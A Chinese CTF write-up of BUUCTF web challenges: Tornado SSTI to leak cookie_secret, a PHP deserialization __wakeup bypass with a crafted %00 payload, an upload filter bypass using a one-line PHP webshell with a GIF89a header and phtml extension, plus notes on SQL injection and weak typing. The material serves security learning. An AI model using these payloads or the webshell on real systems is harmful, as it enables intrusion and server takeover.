easy_tornado 在hints.txt中发现文件包含,但是需要满足同时输入以下内容 我们不知道cookie_secret所以这里MD5解码一下然后去看一下 md5(cookie_secret+md5(filename)) 619ae5434035a986a24fdc06520654a3发现解不开,所以更换思路 看到welcome.txt提示render(渲染),结合标题tornado(python框架)推测存在ssti注入
出现不同参数,去tornado查找一下参数看看:
发现cookie_secret,想想有没有获取到这个内容的方法
由于是tornado框架,于是去查询了: cookie_secret在tornado.web.RequestHandler当中生成
而要访问tornado.web.RequestHandler的对象,需要使用handler,所以这里的payload即为
即可拿到秘钥:
1 2 /flag.txt flag in /fllllllllllllag
这里写了个脚本:
1 2 3 4 5 6 7 import hashlibhash_encode='/fllllllllllllag' hash_encode = hashlib.md5(hash_encode.encode("utf-8" )).hexdigest() hash_co_secret='5b1ce5ca-faa2-4f23-8b87-767c644f4baa' +hash_encode hash_encode=hashlib.md5(hash_co_secret.encode("utf-8" )).hexdigest() print(hash_encode)
拓展学习: Tornado.web.Application的settings参数:
https://blog.csdn.net/ljphilp/article/details/47103745
思路整理 在思考这题的时候一直在想赵老师说的遇到不懂的就去查一下相关资料,一直在思考这其中的思考链: 结合tornado render 我们大致可以推测出有关python的模板注入——在找到ssti注入点后,我思考的是通过子类追踪到cookie_secret但是被过滤掉了太多内容,所以这个时候应该换一个思路—— cookie_secret放在哪里?查到资料放在Tornado.web.Application.RequestHandler.settings这个当中,那么我们如何进入这个子类查询到setting呢? 此时我们就可以发现这个东西,然后接下来去构造语句去试探。
[极客大挑战 2019]PHP 备份文件源码泄露的亚子,于是试了一下几个常见的备份,发现www.zip备份文件泄露 打开index.php得到:
1 2 3 4 5 <?php include 'class.php' ; $select = $_GET['select' ]; $res=unserialize(@$select); ?>
反序列化漏洞?再看看其他
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username,$password ) { $this ->username = $username; $this ->password = $password; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username;echo "</br>" ; echo "You password is: " ; echo $this ->password;echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag; echo $flag; }else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die ();
八成试了,看到这个_wakeup()函数了,这个时候我们需要绕过函数,去看看如何写程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Name { public function __construct ($username,$password ) { $this ->username = $username; $this ->password = $password; } } $a=new Name('admin' ,100 ); $b=serialize($a); $b=str_ireplace(":2:" ,":3:" ,$b); print ($b);?>
结果:
1 O:+4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
但是我不管如何尝试都没有回显,于是打开phpstorm手动调试了一下发现是可以进入flag的
这个时候就很懵了,于是去查了一下wp:
**上面是public属性时的username和password参数,下面是private参数的,可以看到Name和username之间都有一个空格,**当我复制到url的时候这个截断就没了,所以需要加个%00
1 O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
一点体会: 在做buu的题目的时候,感觉整体思路是可以有了,但是总是会卡在某些点,比如上面这个,我就不清楚private原来和global有这个不同,以后遇到这中情况,记得去对比一下public,或者看一下和以前做过的题比哪里不一样了,寻找突破点。
upload1 思路:确定白黑名单过滤,若为黑名单,尝试php3,phtml等后缀,修改mime类型绕过图片检查,加入图片文件头等: 发现检查了<?所以更换一句话木马书写方式:
1 <script language ="php" > evla($_POST[a]);</script >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $file = $_FILES["file" ]; $allowedExts = array ("php" ,"php2" ,"php3" ,"php4" ,"php5" ,"pht" ,"phtm" ); $temp = explode("." , $file["name" ]); $extension = strtolower(end($temp)); $image_type = @exif_imagetype($file["tmp_name" ]); if ((($file["type" ] == "image/gif" )|| ($file["type" ] == "image/jpeg" ) || ($file["type" ] == "image/jpg" ) || ($file["type" ] == "image/pjpeg" ) || ($file["type" ] == "image/x-png" ) || ($file["type" ] == "image/png" )) &&$file["size" ] < 20480 ) { if ($file["error" ] > 0 ){ echo "ERROR!!!" ; } elseif (in_array($extension, $allowedExts)) { echo "NOT!" .$extension."!" ; } elseif (mb_strpos(file_get_contents($file["tmp_name" ]), "<?" ) !== FALSE ) { echo "NO! HACKER! your file included '<?'" ; } elseif (!$image_type) { echo "Don't lie to me, it's not image at all!!!" ; } else { $fileName='./upload/' .$file['name' ]; move_uploaded_file($file['tmp_name' ],$fileName); echo "上传文件名: " . $file["name" ] . "<br>" ; } } else { echo "Not image!" ; } ?>
这边需要猜测上传路径,由于页面为upload_file.php,所以这里猜测upload,发现可以连接上:,找到以上源码,学习分析一波:
黑名单,检查MIME类型,检查<?,使用了exif_imagetype函数,这个函数是检查文件的前几个字节,upload里面有介绍过,使用文件马绕过,这里可以使用文件合成以后,再将后缀改回phtml直接上传。 这里有个巨坑!!!!!!!!!! 文件大小小于20kb,我一开始用图片马不行,后来看了wp看到人家只用了gif89a就可直接绕过,明明我用文件合成以后也有这个,才发现原来是有个文件大小限制,我吐了!!这一点以后要记住呀 不然也可以以后直接使用GIF89a实现绕过。就不用考虑文件大小的关系了。 尝试了一下,这题用不了apache的解析漏洞
这里再来梳理一下这题的思路吧 : 黑名单or白名单: 黑名单:先使用其他后缀进行尝试,或者使用解析漏洞,若被拦截,改一下mime类型以及加一下头识别字节(GIF89a) 文件上传最主要的还是耐心吧,毕竟有很多要去测试
http 扫描目录,后缀字典,看看有么有隐藏目录,发现/Secret.php
一看就知道要改referer,
中间有个改浏览器的,直接看看哪里有个firefox,然后改一下
babysql 双写绕过+union select
[ACTF2020 新生赛]Upload burp suit改后缀,phtml后缀即可绕过,这里需要抓包改后缀
[ACTF2020 新生赛]BackupFile 备份文件尝试一下 发现index.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include_once "flag.php" ;if (isset ($_GET['key' ])) { $key = $_GET['key' ]; if (!is_numeric($key)) { exit ("Just num!" ); } $key = intval($key); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3" ; if ($key == $str) { echo $flag; } } else { echo "Try to find out source file!" ; }
考察弱类型比较,数字和字符串比较时,遇到字符串会自动截断后面内容,只会进行前面数字的比较 例如123a和123就是相等的,但是a123和123就不等